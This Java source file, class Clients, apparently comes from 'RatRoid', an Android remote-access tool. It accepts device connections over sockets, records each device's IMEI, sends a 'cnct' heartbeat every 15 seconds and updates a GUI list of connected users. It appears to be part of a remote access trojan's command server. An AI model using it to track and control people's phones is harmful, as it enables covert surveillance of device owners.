package Control;

import GUI.MainGui;
import GUI.Stats;
import RatRoid.Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Clients implements Runnable {

    private Socket socket;
    private MainGui mygui;
    public String imei;
    public BufferedReader in;
    public PrintWriter out;
    public ObjectOutputStream oos;
    public ObjectInputStream ois1;
    public InputStream is1;
    public boolean available = false;
    public String doing = "please try again";
    Thread t;
    long startTime=0,endTime=0;
//Constructor

    public Thread getthread() {
        return t;
    }

    public String getimei() {
        return imei;
    }

    public ObjectOutputStream getoos() {
        return oos;
    }

    public InputStream getis() {
        return is1;
    }

    public ObjectInputStream getois() {
        return ois1;
    }

    public Socket getsocket() {
        return socket;
    }

    @SuppressWarnings("CallToThreadStartDuringObjectConstruction")
    public Clients(ServerSocket ss, MainGui mygui) {
        try {
            socket = ss.accept();
        } catch (IOException ex) {
            Logger.getLogger(Clients.class.getName()).log(Level.SEVERE, null, ex);
            
        }
        this.mygui = mygui;
        t = new Thread(this);
        if(socket!=null){
            t.start();
        }
    }

    @Override
    @SuppressWarnings("SleepWhileInLoop")
    public void run() {
        DataHandle handle = new DataHandle();
        imei = handle.receive(socket, mygui);
        t.setName(imei);
        Main.threads.AddThread(this);
        boolean connected = true;
        available = true;

        int disc = 0;
        while (connected) {

            if (this.available) {
                this.available = false;
                this.doing=" This Client is pinging, please try again in a second ";
                try {
                    this.available = false;
                    out = new PrintWriter(socket.getOutputStream());
                    startTime= System.currentTimeMillis();
                    out.println("cnct");
                    
                    out.flush();
                    
                    
                    String lsnmsg;
                    in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                    lsnmsg = in.readLine();
                    endTime= System.currentTimeMillis();
                    if (!(lsnmsg.equals("cnct"))) {
                        disc++;
                        if (disc == 2) {
                            connected = false;
                            mygui.removeUser(imei);
                            Main.myapp.addStats(new Stats(handle.getutilis().getimei(), handle.getutilis().getdevice(), "User Disconnected", new Date().toString()));
                            Main.threads.RemoveThread(this);
                            this.getsocket().close();
                        }
                    }
                    if (lsnmsg.equals("cnct")) {
                        disc = 0;
                        String ping = String.valueOf((endTime-startTime)/8);
                        Main.myapp.modifyUser(imei, ping);
                        available = true;
                    }


                    Thread.sleep(15000);
                } catch (NullPointerException e) {

                    connected = false;
                    mygui.removeUser(imei);
                    Main.myapp.addStats(new Stats(handle.getutilis().getimei(), handle.getutilis().getdevice(), "User Disconnected", new Date().toString()));
                    Main.threads.RemoveThread(this);
                    available = true;

                } catch (IOException ex) {
                    connected = false;
                    Logger.getLogger(Clients.class.getName()).log(Level.SEVERE, null, ex);
                    mygui.removeUser(imei);
                    Main.myapp.addStats(new Stats(handle.getutilis().getimei(), handle.getutilis().getdevice(), "User Disconnected", new Date().toString()));
                    Main.threads.RemoveThread(this);
                    available = true;

                } catch (InterruptedException e) {
                    available = true;
                    connected = false;
                    mygui.removeUser(handle.getutilis().getimei());
                    Main.threads.RemoveThread(this);

                }
            }
            /*
             if(!available){
             try {
             Thread.sleep(500);
             } catch (InterruptedException ex) {
             Logger.getLogger(Clients.class.getName()).log(Level.SEVERE, null, ex);
             }
             count++;
             System.out.println("Count "+count);
             if(count==60){available = true;count=0;System.out.println("Count is 60 ");}
             }
             */
        }
    }
}
